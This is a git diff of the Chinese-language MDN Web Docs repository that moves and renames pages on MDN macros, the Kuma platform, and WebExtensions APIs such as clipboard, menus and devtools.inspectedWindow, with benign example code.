如果你在撰写过程中或在格式方面遇到了本文尚未提及的问题,我们建议你参考 Economist 网站的风格指南,如果还是不能解决问题,还可参考芝加哥论文格式

+ +

推荐词典

+ +

如果有拼写方面的问题,请参考 Dictionary.com。本网站的拼写检查采用美国英语规则,因此请不要使用其他拼写规则(例如应该使用“color”而不是“colour”)。

+ +

我们会继续扩充本指南,因此如果你遇到了本文未提及的问题,请通过 MDC 邮件列表项目带头人联系我们,让我们了解还需要加入哪些内容。

+ +

MDN

+ +

MDN 中常用的宏及其说明。

+ +

语言、语法和拼写

+ +

如果你对提高写作和编辑能力感兴趣,下面的资料会对你有所帮助:

+ + diff --git a/files/zh-cn/mdn/kuma/index.html b/files/zh-cn/mdn/kuma/index.html deleted file mode 100644 index d506a15fbe..0000000000 --- a/files/zh-cn/mdn/kuma/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'Kuma: MDN 的 wiki 平台' -slug: MDN/Kuma -tags: - - Kuma - - wiki - - 平台 -translation_of: MDN/Kuma ---- -
{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}
- -

Kuma 是驱动 MDN Web Docs 的 Django 程序。

- -

{{SubpagesWithSummaries}}

- -

了解Kuma

- -

想要了解Kuma,你可以:

- - diff --git a/files/zh-cn/mdn/structures/live_samples/simple_live_sample_demo/index.html b/files/zh-cn/mdn/structures/live_samples/simple_live_sample_demo/index.html deleted file mode 100644 index d0ca0069fb..0000000000 --- a/files/zh-cn/mdn/structures/live_samples/simple_live_sample_demo/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: A simple demo of a live code sample -slug: MDN/Structures/Live_samples/Simple_live_sample_demo -translation_of: MDN/Structures/Live_samples/Simple_live_sample_demo ---- -
{{MDNSidebar}}

The_example

- -

This is a very simple example showing you how to do a live demo in MDN. For more information, see Live samples.

- -
<form>
-  <label>Try me<input type="text" name="name"></label>
-  <input type="submit" value="go">
-</form>
- -
form {
-  border-radius: 10px;
-  background: powderblue;
-}
- -
var f = document.querySelector('form');
-
-f.addEventListener('submit', function(ev) {
-  ev.preventDefault();
-  document.querySelectorAll('input')[1].value = 'sending';
-}, false);
- -

{{ EmbedLiveSample('The_example', '', '', '') }}

- -

 

- -

 

diff --git a/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html b/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html new file mode 100644 index 0000000000..3809bb2094 --- /dev/null +++ b/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html @@ -0,0 +1,222 @@ +--- +title: 常用的宏 +slug: MDN/Structures/Macros/Custom_macros +tags: + - CSS + - 参考 + - 宏 + - 结构 +translation_of: MDN/Structures/Macros/Commonly-used_macros +--- +
{{MDNSidebar}}
+ +

本页列举了许多被创建用于 MDN 的通用宏。对于使用这些宏的基础信息,见使用宏使用链接宏对于不常用的,只在特定上下文或不赞成使用的宏的信息,参见其它宏。这里也有一份 MDN 上所有宏的完整列表

+ +

对于适合你使用的样式,另见 CSS 样式指南

+ +

链接

+ +

创建一个单独的超链接

+ + + + + +

链接到参考文档页面

+ +

有各种宏用来链接到 MDN 上特定参考区域里的页面。

+ + + +

链接到漏洞和互联网中继聊天(IRC)

+ + + +

用于多页面指南的导航帮助

+ +

{{TemplateLink("Previous")}},{{TemplateLink("Next")}},和 {{TemplateLink("PreviousNext")}} 提供导航控制用于序列中的部分文章。对于单向模板,唯一需要的参数是序列中前一篇或后一篇文章的维基(wiki)地址。对于 {{TemplateLink("PreviousNext")}},需要两个适当的文章地址作为参数。第一个参数用于前一篇文章,而第二个用于后一篇文章。

+ +

代码示例

+ +

实样

+ + + +

附上的示例文件

+ + + +

侧边栏组

+ +

There templates for almost every large collection of pages. 它们通常链接回参考/指南/教程的主页面(这经常被需要,因为我们的面包屑有时做不到这样)并把文章放入适当的类别中。

+ + + +

(译者注:通过在 background-color 页面测试,编辑页面中 "Summary" 上一行的 {{CSSRef}} 用于生成页面左侧的 CSS 参考链接的侧边栏)

+ +

通用格式化

+ +

API 文档的行内指示器

+ +

{{TemplateLink("optional_inline")}} 和 {{TemplateLink("ReadOnlyInline")}} 被用于 API 文档,通常当描述一个对象的属性或一个函数的参数的列表。

+ +

用法: \{{optional_inline()}}\{{ReadOnlyInline()}} 。示例:

+ +
+
isCustomObject {{ReadOnlyInline()}}
+
如果为真,指示该对象是一个自定义对象。
+
parameterX {{ optional_inline() }}
+
Blah blah blah...
+
+ +

状态和兼容性指示器

+ +

没有附加参数的行内指示器

+ +

非标准的

+ +

{{TemplateLink("non-standard_inline")}} 插入一个行内标记指示当前 API 还没有被标准化,并且不在一个标准行径上。

+ +
语法
+ +

\{{non-standard_inline}}

+ +
示例
+ + + +

实验性的

+ +

{{TemplateLink("experimental_inline")}} 插入一个行内标记指示当前 API 没有被广泛地实现,并且在以后可能会改变。

+ +
语法
+ +

\{{experimental_inline}}

+ +
示例
+ + + +

提供明确技术的指示器

+ +

在这些宏当中,其参数(在明确规定下)应该是 "html", "js", "css" 或 "gecko" 当中的一个字符串,其后跟着版本号。

+ +

不赞成的

+ +

{{TemplateLink("deprecated_inline")}} 插入一个不赞成的行内标记来劝阻一个官方不赞成的 API 的使用。注意:“不赞成的”表示该项不该再被使用,但是仍然可用。如果你想表示它不再起作用了,使用术语“已废弃”。

+ +

不要在任何浏览器不可知的区域( HTML, APIs, JS, CSS, … )内使用参数。

+ +
语法
+ +

\{{deprecated_inline}} 或 \{{deprecated_inline("gecko5")}}

+ +
示例
+ + + +

已废弃的

+ +

{{TemplateLink("obsolete_inline")}} 插入一个已废弃的行内标记来阻止使用,比如正式废弃的一个函数,方法或属性。

+ +

不要在任何浏览器不可知的区域( HTML, APIs, JS, CSS, … )内使用参数。

+ +
语法
+ +

\{{obsolete_inline}} \{{obsolete_inline("js1.8.5")}}

+ +
示例
+ + + +

模板徽标

+ +

这些宏大多数被用于 WebAPI 页面。见 {{anch("Creating new badges")}} 关于创建一个新徽标的信息。

+ +

页面或区域标头指示

+ +

这些模板与上述内联模板具有相同的语义。 模板应直接放置在参考页面的主页标题(或面包屑导航,如果可用)的下面。 它们也可以用于标记页面上的某个部分。

+ + + +

指示一个功能在Web workers中可用

+ +

 {{TemplateLink("AvailableInWorkers")}} 宏插入一个本地化的指示框,指示一个功能在Web worker 上下文中可用。

+ +

版本信息宏

+ +

这些宏被用来指示这个语段只与一个产品的特定版本有关。

+ + + +
    +
+ +
    +
diff --git a/files/zh-cn/mdn/structures/macros/custom_macros/index.html b/files/zh-cn/mdn/structures/macros/custom_macros/index.html deleted file mode 100644 index 3809bb2094..0000000000 --- a/files/zh-cn/mdn/structures/macros/custom_macros/index.html +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: 常用的宏 -slug: MDN/Structures/Macros/Custom_macros -tags: - - CSS - - 参考 - - 宏 - - 结构 -translation_of: MDN/Structures/Macros/Commonly-used_macros ---- -
{{MDNSidebar}}
- -

本页列举了许多被创建用于 MDN 的通用宏。对于使用这些宏的基础信息,见使用宏使用链接宏对于不常用的,只在特定上下文或不赞成使用的宏的信息,参见其它宏。这里也有一份 MDN 上所有宏的完整列表

- -

对于适合你使用的样式,另见 CSS 样式指南

- -

链接

- -

创建一个单独的超链接

- - - - - -

链接到参考文档页面

- -

有各种宏用来链接到 MDN 上特定参考区域里的页面。

- - - -

链接到漏洞和互联网中继聊天(IRC)

- - - -

用于多页面指南的导航帮助

- -

{{TemplateLink("Previous")}},{{TemplateLink("Next")}},和 {{TemplateLink("PreviousNext")}} 提供导航控制用于序列中的部分文章。对于单向模板,唯一需要的参数是序列中前一篇或后一篇文章的维基(wiki)地址。对于 {{TemplateLink("PreviousNext")}},需要两个适当的文章地址作为参数。第一个参数用于前一篇文章,而第二个用于后一篇文章。

- -

代码示例

- -

实样

- - - -

附上的示例文件

- - - -

侧边栏组

- -

There templates for almost every large collection of pages. 它们通常链接回参考/指南/教程的主页面(这经常被需要,因为我们的面包屑有时做不到这样)并把文章放入适当的类别中。

- - - -

(译者注:通过在 background-color 页面测试,编辑页面中 "Summary" 上一行的 {{CSSRef}} 用于生成页面左侧的 CSS 参考链接的侧边栏)

- -

通用格式化

- -

API 文档的行内指示器

- -

{{TemplateLink("optional_inline")}} 和 {{TemplateLink("ReadOnlyInline")}} 被用于 API 文档,通常当描述一个对象的属性或一个函数的参数的列表。

- -

用法: \{{optional_inline()}}\{{ReadOnlyInline()}} 。示例:

- -
-
isCustomObject {{ReadOnlyInline()}}
-
如果为真,指示该对象是一个自定义对象。
-
parameterX {{ optional_inline() }}
-
Blah blah blah...
-
- -

状态和兼容性指示器

- -

没有附加参数的行内指示器

- -

非标准的

- -

{{TemplateLink("non-standard_inline")}} 插入一个行内标记指示当前 API 还没有被标准化,并且不在一个标准行径上。

- -
语法
- -

\{{non-standard_inline}}

- -
示例
- - - -

实验性的

- -

{{TemplateLink("experimental_inline")}} 插入一个行内标记指示当前 API 没有被广泛地实现,并且在以后可能会改变。

- -
语法
- -

\{{experimental_inline}}

- -
示例
- - - -

提供明确技术的指示器

- -

在这些宏当中,其参数(在明确规定下)应该是 "html", "js", "css" 或 "gecko" 当中的一个字符串,其后跟着版本号。

- -

不赞成的

- -

{{TemplateLink("deprecated_inline")}} 插入一个不赞成的行内标记来劝阻一个官方不赞成的 API 的使用。注意:“不赞成的”表示该项不该再被使用,但是仍然可用。如果你想表示它不再起作用了,使用术语“已废弃”。

- -

不要在任何浏览器不可知的区域( HTML, APIs, JS, CSS, … )内使用参数。

- -
语法
- -

\{{deprecated_inline}} 或 \{{deprecated_inline("gecko5")}}

- -
示例
- - - -

已废弃的

- -

{{TemplateLink("obsolete_inline")}} 插入一个已废弃的行内标记来阻止使用,比如正式废弃的一个函数,方法或属性。

- -

不要在任何浏览器不可知的区域( HTML, APIs, JS, CSS, … )内使用参数。

- -
语法
- -

\{{obsolete_inline}} \{{obsolete_inline("js1.8.5")}}

- -
示例
- - - -

模板徽标

- -

这些宏大多数被用于 WebAPI 页面。见 {{anch("Creating new badges")}} 关于创建一个新徽标的信息。

- -

页面或区域标头指示

- -

这些模板与上述内联模板具有相同的语义。 模板应直接放置在参考页面的主页标题(或面包屑导航,如果可用)的下面。 它们也可以用于标记页面上的某个部分。

- - - -

指示一个功能在Web workers中可用

- -

 {{TemplateLink("AvailableInWorkers")}} 宏插入一个本地化的指示框,指示一个功能在Web worker 上下文中可用。

- -

版本信息宏

- -

这些宏被用来指示这个语段只与一个产品的特定版本有关。

- - - -
    -
- -
    -
diff --git a/files/zh-cn/mdn/yari/index.html b/files/zh-cn/mdn/yari/index.html new file mode 100644 index 0000000000..d506a15fbe --- /dev/null +++ b/files/zh-cn/mdn/yari/index.html @@ -0,0 +1,24 @@ +--- +title: 'Kuma: MDN 的 wiki 平台' +slug: MDN/Kuma +tags: + - Kuma + - wiki + - 平台 +translation_of: MDN/Kuma +--- +
{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}
+ +

Kuma 是驱动 MDN Web Docs 的 Django 程序。

+ +

{{SubpagesWithSummaries}}

+ +

了解Kuma

+ +

想要了解Kuma,你可以:

+ + diff --git a/files/zh-cn/mdn_at_ten/index.html b/files/zh-cn/mdn_at_ten/index.html deleted file mode 100644 index fa9ddcf29d..0000000000 --- a/files/zh-cn/mdn_at_ten/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Mozilla开发者网络10周年 -slug: MDN_at_ten -translation_of: MDN_at_ten ---- -
为我们web技术的文档化走过10年而庆祝!
- -
-
-

MDN历史

- -

2005年初,一个理想者组成的小团队建立起来并开始为所有的Web开发者提供实时、免费和社区驱动的在线资源.。他们杰出而不寻常的想法逐渐演化成了今天的Mozilla开发者网络——一个领先和全面的开放Web技术资源库。十年后, 我们全球化的社区变得更加的强大, 同时,为了能给广泛的网络技术公司提供技术上的支持,我们还坚持编写文档, 案例代码 以及学习资源 ,其中就包括像 CSS, HTML, JavaScript 以及各种能够使得网络变得更加强大的东西。

- -

了解更多about the history

- - -

为MDN做出贡献

- -

十年来,MDN社区已经几乎给开放网络贡献了无限多的文档,从最小的字符修改到编写整个一系列新的API,对开放网络,社区中的每个人都有贡献,每个人既不会付出太多也不会太少。我们已经有超过90000页的文档或内容被社区中突出的智谋人(Mozillians)编辑或者被翻译。你将会成为我们中的一员。

- -

了解更多about contributing

- -

 

- -

 

-
- -
{{TenthCampaignQuote}}
- -

子目录

- -
    -
  1. MDN10周年
  2. -
  3. MDN历史
  4. -
  5. 为MDN贡献
  6. -
-
diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html new file mode 100644 index 0000000000..5fecb4334f --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html @@ -0,0 +1,36 @@ +--- +title: clipboard +slug: Mozilla/Add-ons/WebExtensions/API/剪切板 +tags: + - 剪切板 + - 扩展 + - 附加组件 +translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard +--- +
{{AddonSidebar}}
+ +

WebExtention 的 clipboard API 增加了一个将图像复制到剪贴板的函数。目前,这个 API 仅支持复制图像,但我们期望它未来支持复制文本和 HTML(译者注:原文如此,可能是指被支持复制富内容之后的标准剪贴板 API 取代)。

+ +

这个  WebExtension API 之所以存在,主要是因为标准的 Web 剪贴板 API Clipboard API 不支持将图像写入剪贴板。一旦标准剪贴板 API 对非文本剪贴板内容的支持进入通用状态,则此 API 可能会被弃用。

+ +

Reading from the clipboard is not supported by this API, because the clipboard can already be read using the standard web platform APIs. See Interacting with the clipboard.

+ +

This API is based on Chrome's clipboard API, but that API is only available for Chrome apps, not extensions.

+ +

To use this API you need the "clipboardWrite" extension permission.

+ +

函数

+ +
+
{{WebExtAPIRef("clipboard.setImageData()")}}
+
复制图像到剪切板。
+
+ +

浏览器兼容性

+ +

{{Compat("webextensions.api.clipboard")}} {{WebExtExamples("h2")}}

+ +
说明 + +

 此 API 基于 Chromium 的 chrome.clipboard API.

+
diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html new file mode 100644 index 0000000000..3cdaf45b08 --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html @@ -0,0 +1,79 @@ +--- +title: clipboard.setImageData() +slug: Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData +tags: + - API + - Clipboard + - 剪贴板 + - 参考 + - 拓展 + - 方法 +translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData +--- +
{{AddonSidebar()}}
+ +

将图像复制到剪贴板。在将图像写入剪贴板之前,会对图像进行重新编码。如果图像无效,则不会修改剪贴板。

+ +

图像被作为包含经过编码的图像的 ArrayBuffer 提供。支持 JPEG 和 PNG 格式。

+ +

基于 Chrome 的 clipboard.setImageData() API,但存在一些差异:

+ + + +

这是一个返回 Promise 的异步函数。

+ +

语法

+ +
browser.clipboard.setImageData(imageData, imageType)
+
+ +

参数

+ +
+
imageData
+
An ArrayBuffer containing the encoded image data to copy to the clipboard.
+
imageType
+
A {{domxref("DOMString")}} indicating the type of image contained in imageData: "png" or "jpeg".
+
+ +

返回值

+ +

A Promise that will be resolved with no arguments if the operation succeeded, or rejected if there was an error (for example, because the data did not represent a valid image).

+ +

浏览器兼容性

+ + + +

{{Compat("webextensions.api.clipboard.setImageData", 10)}}

+ +

示例

+ +

Copy a remote image:

+ +
// requires:
+// * the host permission for "https://cdn.mdn.mozilla.net/*"
+// * the API permission "clipboardWrite"
+
+fetch('https://cdn.mdn.mozilla.net/static/img/favicon144.png')
+.then(response => response.arrayBuffer())
+.then(buffer => browser.clipboard.setImageData(buffer, 'png'));
+ +

Copy an image that was bundled with the extension:

+ +
// requires the API permission "clipboardWrite"
+
+fetch(browser.runtime.getURL('image.png'))
+.then(response => response.arrayBuffer())
+.then(buffer => browser.clipboard.setImageData(buffer, 'png'));
+ +

{{WebExtExamples}}

+ +
说明 + +

 此 API 基于 Chromium 的 chrome.clipboard API.

+
diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/contextmenus/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/contextmenus/index.html deleted file mode 100644 index ffcb6ce7b7..0000000000 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/contextmenus/index.html +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: contextMenus -slug: Mozilla/Add-ons/WebExtensions/API/contextMenus -tags: - - API - - WebExtensions - - contextMenus -translation_of: Mozilla/Add-ons/WebExtensions/API/menus ---- -
{{AddonSidebar}}
- -
在浏览器菜单中添加条目。
- -
- -
此API基于Chrome的“contextMenus”API构建,该API可让Chrome扩展程序将项目添加到浏览器的上下文菜单中。 browser.menus API为Chrome的API添加了一些功能,特别是可以将项目添加到浏览器的“工具”菜单以及上下文菜单中。
- -
- -
在Firefox 55之前,这个API最初也被命名为contextMenus,并且这个名字被保留为别名,所以你可以使用contextMenus编写在Firefox和其他浏览器中工作的代码。
- -
- -
你需要拥有“menus”(或别名" contextMenus ")权限来使用此API。
- -

创建菜单项

- -

使用 {{WebExtAPIRef("menus.create()")}}方法创建一个菜单项。你需要传递一个包含条目选项的对象,它包括条目的id,类型,和需要显示出来的文本值。

- -

绑定一个监听器到{{WebExtAPIRef("contextMenus.onClicked")}}事件来监听你菜单项目的点击事件。此监听器会传递一个{{WebExtAPIRef("contextMenus.OnClickData")}},它包含该事件的详细信息。

- -

你可以根据在调用create()时所传递的参数中使用不同的type值来创建四种不同类型的菜单:

- - - -

如果您创建了多个上下文菜单项目或多个工具菜单项目,则这些项目将被放置在子菜单中。 子菜单的父项将标有扩展名。 例如,下面是一个名为“Menu Demo”的扩展,添加了两个上下文菜单项:

- -

- -

图标

- -

如果你使用 "icons" manifest key 为你的扩展指定一个图标,你的菜单项的旁边就会显示一个指定的图标。浏览器会尝试在普通分辨率下使用16 x 16像素的图标,在高分辨率下使用32 x 32像素的图标:

- -

你可以通过调用 {{WebExtAPIRef("menus.create()")}} 时指定icons选项来给子菜单项设置图标。

- -

- -

例子

- -

下面是一个包含四个项目的菜单,他们分别是:一个普通选项,两个周围有分割线的单选,和一个复选框。单选框使用了自定义图标。

- -

- -

你可以使用以下代码创建一个这样的子菜单:

- -
browser.menus.create({
-  id: "remove-me",
-  title: browser.i18n.getMessage("menuItemRemoveMe"),
-  contexts: ["all"]
-}, onCreated);
-
-browser.menus.create({
-  id: "separator-1",
-  type: "separator",
-  contexts: ["all"]
-}, onCreated);
-
-browser.menus.create({
-  id: "greenify",
-  type: "radio",
-  title: browser.i18n.getMessage("menuItemGreenify"),
-  contexts: ["all"],
-  checked: true,
-  icons: {
-    "16": "icons/paint-green-16.png",
-    "32": "icons/paint-green-32.png"
-  }
-}, onCreated);
-
-browser.menus.create({
-  id: "bluify",
-  type: "radio",
-  title: browser.i18n.getMessage("menuItemBluify"),
-  contexts: ["all"],
-  checked: false,
-  icons: {
-    "16": "icons/paint-blue-16.png",
-    "32": "icons/paint-blue-32.png"
-  }
-}, onCreated);
-
-browser.menus.create({
-  id: "separator-2",
-  type: "separator",
-  contexts: ["all"]
-}, onCreated);
-
-var checkedState = true;
-
-browser.menus.create({
-  id: "check-uncheck",
-  type: "checkbox",
-  title: browser.i18n.getMessage("menuItemUncheckMe"),
-  contexts: ["all"],
-  checked: checkedState
-}, onCreated);
- -

类型

- -
-
{{WebExtAPIRef("contextMenus.ContextType")}}
-
菜单里可以出现的不同内容。可能的值有:"all", "audio", "browser_action", "editable", "frame", "image", "link", "page", "page_action", "password", "selection", "tab", "video".
-
{{WebExtAPIRef("contextMenus.ItemType")}}
-
菜单项的类别有: "normal", "checkbox", "radio", "separator".
-
{{WebExtAPIRef("contextMenus.OnClickData")}}
-
当菜单项被点击时发送的信息。
-
- -

属性

- -
-
{{WebExtAPIRef("contextMenus.ACTION_MENU_TOP_LEVEL_LIMIT")}}
-
可以被添加进上下文菜单项的顶级扩展项的最大值,其ContextType可以是"browser_action" 或者 "page_action".
-
- -

函数

- -
-
{{WebExtAPIRef("contextMenus.create()")}}
-
创建一个新的上下文菜单项目。
-
{{WebExtAPIRef("contextMenus.update()")}}
-
更新一个已经创建了的上下文菜单项目。
-
{{WebExtAPIRef("contextMenus.remove()")}}
-
删除一个上下文菜单项目。
-
{{WebExtAPIRef("contextMenus.removeAll()")}}
-
移除该插件创建的所有上下文菜单项目。
-
- -

事件

- -
-
{{WebExtAPIRef("contextMenus.onClicked")}}
-
当一个上下文菜单项被点击时触发。
-
- -

浏览器兼容性

- -

{{ Compat("webextensions.api.menus", 1, "true") }}

- -

{{WebExtExamples("h2")}}

- -
致谢 - -

此API基于Chromium的 chrome.contextMenus API. 此文档来自于Chromium代码中的context_menus.json

-
- - diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html deleted file mode 100644 index d59f29ffde..0000000000 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: devtools.inspectedWindow -slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow ---- -
{{AddonSidebar}}
- -
-

This page describes the WebExtensions devtools APIs as they exist in Firefox 54. Although the APIs are based on the Chrome devtools APIs, there are still many features that are not yet implemented in Firefox, and therefore are not documented here. To see which features are currently missing please see Limitations of the devtools APIs.

-
- -

The devtools.inspectedWindow API lets a devtools extension interact with the window that the developer tools are attached to.

- -

Like all the devtools APIs, this API is only available to code running in the document defined in the devtools_page manifest.json key, or in other devtools documents created by the extension (such as the document hosted by a panel the extension created). See Extending the developer tools for more.

- -

Properties

- -
-
devtools.inspectedWindow.tabId
-
The ID of the window that the developer tools are attached to.
-
- -

Functions

- -
-
devtools.inspectedWindow.eval()
-
Evaluate some JavaScript in the target window.
-
devtools.inspectedWindow.reload()
-
Reload the target window's document.
-
- -

Browser compatibility

- -

{{Compat("webextensions.api.devtools.inspectedWindow")}}{{WebExtExamples("h2")}}

- -
Acknowledgements - -

This API is based on Chromium's chrome.devtools.inspectedWindow API.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html new file mode 100644 index 0000000000..d59f29ffde --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html @@ -0,0 +1,72 @@ +--- +title: devtools.inspectedWindow +slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +--- +
{{AddonSidebar}}
+ +
+

This page describes the WebExtensions devtools APIs as they exist in Firefox 54. Although the APIs are based on the Chrome devtools APIs, there are still many features that are not yet implemented in Firefox, and therefore are not documented here. To see which features are currently missing please see Limitations of the devtools APIs.

+
+ +

The devtools.inspectedWindow API lets a devtools extension interact with the window that the developer tools are attached to.

+ +

Like all the devtools APIs, this API is only available to code running in the document defined in the devtools_page manifest.json key, or in other devtools documents created by the extension (such as the document hosted by a panel the extension created). See Extending the developer tools for more.

+ +

Properties

+ +
+
devtools.inspectedWindow.tabId
+
The ID of the window that the developer tools are attached to.
+
+ +

Functions

+ +
+
devtools.inspectedWindow.eval()
+
Evaluate some JavaScript in the target window.
+
devtools.inspectedWindow.reload()
+
Reload the target window's document.
+
+ +

Browser compatibility

+ +

{{Compat("webextensions.api.devtools.inspectedWindow")}}{{WebExtExamples("h2")}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.devtools.inspectedWindow API.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html new file mode 100644 index 0000000000..ffcb6ce7b7 --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html @@ -0,0 +1,191 @@ +--- +title: contextMenus +slug: Mozilla/Add-ons/WebExtensions/API/contextMenus +tags: + - API + - WebExtensions + - contextMenus +translation_of: Mozilla/Add-ons/WebExtensions/API/menus +--- +
{{AddonSidebar}}
+ +
在浏览器菜单中添加条目。
+ +
+ +
此API基于Chrome的“contextMenus”API构建,该API可让Chrome扩展程序将项目添加到浏览器的上下文菜单中。 browser.menus API为Chrome的API添加了一些功能,特别是可以将项目添加到浏览器的“工具”菜单以及上下文菜单中。
+ +
+ +
在Firefox 55之前,这个API最初也被命名为contextMenus,并且这个名字被保留为别名,所以你可以使用contextMenus编写在Firefox和其他浏览器中工作的代码。
+ +
+ +
你需要拥有“menus”(或别名" contextMenus ")权限来使用此API。
+ +

创建菜单项

+ +

使用 {{WebExtAPIRef("menus.create()")}}方法创建一个菜单项。你需要传递一个包含条目选项的对象,它包括条目的id,类型,和需要显示出来的文本值。

+ +

绑定一个监听器到{{WebExtAPIRef("contextMenus.onClicked")}}事件来监听你菜单项目的点击事件。此监听器会传递一个{{WebExtAPIRef("contextMenus.OnClickData")}},它包含该事件的详细信息。

+ +

你可以根据在调用create()时所传递的参数中使用不同的type值来创建四种不同类型的菜单:

+ + + +

如果您创建了多个上下文菜单项目或多个工具菜单项目,则这些项目将被放置在子菜单中。 子菜单的父项将标有扩展名。 例如,下面是一个名为“Menu Demo”的扩展,添加了两个上下文菜单项:

+ +

+ +

图标

+ +

如果你使用 "icons" manifest key 为你的扩展指定一个图标,你的菜单项的旁边就会显示一个指定的图标。浏览器会尝试在普通分辨率下使用16 x 16像素的图标,在高分辨率下使用32 x 32像素的图标:

+ +

你可以通过调用 {{WebExtAPIRef("menus.create()")}} 时指定icons选项来给子菜单项设置图标。

+ +

+ +

例子

+ +

下面是一个包含四个项目的菜单,他们分别是:一个普通选项,两个周围有分割线的单选,和一个复选框。单选框使用了自定义图标。

+ +

+ +

你可以使用以下代码创建一个这样的子菜单:

+ +
browser.menus.create({
+  id: "remove-me",
+  title: browser.i18n.getMessage("menuItemRemoveMe"),
+  contexts: ["all"]
+}, onCreated);
+
+browser.menus.create({
+  id: "separator-1",
+  type: "separator",
+  contexts: ["all"]
+}, onCreated);
+
+browser.menus.create({
+  id: "greenify",
+  type: "radio",
+  title: browser.i18n.getMessage("menuItemGreenify"),
+  contexts: ["all"],
+  checked: true,
+  icons: {
+    "16": "icons/paint-green-16.png",
+    "32": "icons/paint-green-32.png"
+  }
+}, onCreated);
+
+browser.menus.create({
+  id: "bluify",
+  type: "radio",
+  title: browser.i18n.getMessage("menuItemBluify"),
+  contexts: ["all"],
+  checked: false,
+  icons: {
+    "16": "icons/paint-blue-16.png",
+    "32": "icons/paint-blue-32.png"
+  }
+}, onCreated);
+
+browser.menus.create({
+  id: "separator-2",
+  type: "separator",
+  contexts: ["all"]
+}, onCreated);
+
+var checkedState = true;
+
+browser.menus.create({
+  id: "check-uncheck",
+  type: "checkbox",
+  title: browser.i18n.getMessage("menuItemUncheckMe"),
+  contexts: ["all"],
+  checked: checkedState
+}, onCreated);
+ +

类型

+ +
+
{{WebExtAPIRef("contextMenus.ContextType")}}
+
菜单里可以出现的不同内容。可能的值有:"all", "audio", "browser_action", "editable", "frame", "image", "link", "page", "page_action", "password", "selection", "tab", "video".
+
{{WebExtAPIRef("contextMenus.ItemType")}}
+
菜单项的类别有: "normal", "checkbox", "radio", "separator".
+
{{WebExtAPIRef("contextMenus.OnClickData")}}
+
当菜单项被点击时发送的信息。
+
+ +

属性

+ +
+
{{WebExtAPIRef("contextMenus.ACTION_MENU_TOP_LEVEL_LIMIT")}}
+
可以被添加进上下文菜单项的顶级扩展项的最大值,其ContextType可以是"browser_action" 或者 "page_action".
+
+ +

函数

+ +
+
{{WebExtAPIRef("contextMenus.create()")}}
+
创建一个新的上下文菜单项目。
+
{{WebExtAPIRef("contextMenus.update()")}}
+
更新一个已经创建了的上下文菜单项目。
+
{{WebExtAPIRef("contextMenus.remove()")}}
+
删除一个上下文菜单项目。
+
{{WebExtAPIRef("contextMenus.removeAll()")}}
+
移除该插件创建的所有上下文菜单项目。
+
+ +

事件

+ +
+
{{WebExtAPIRef("contextMenus.onClicked")}}
+
当一个上下文菜单项被点击时触发。
+
+ +

浏览器兼容性

+ +

{{ Compat("webextensions.api.menus", 1, "true") }}

+ +

{{WebExtExamples("h2")}}

+ +
致谢 + +

此API基于Chromium的 chrome.contextMenus API. 此文档来自于Chromium代码中的context_menus.json

+
+ + diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html new file mode 100644 index 0000000000..9afe6e80a8 --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html @@ -0,0 +1,179 @@ +--- +title: 选项卡. 查询 () +slug: Mozilla/Add-ons/WebExtensions/API/tabs/查询 +translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/query +--- +
[阿登侧边栏()]
+ +

获取具有指定属性的所有选项卡,如果未指定任何属性,则获取所有选项卡。

+ +

这是返回 的异步函数。Promise

+ +

语法

+ +
let querying = browser.tabs.query(queryObj)
+
+ +

参数

+ +
+
queryObj
+
+

object.函数将仅获取其属性与此处包含的属性匹配的选项卡。query()

+ +

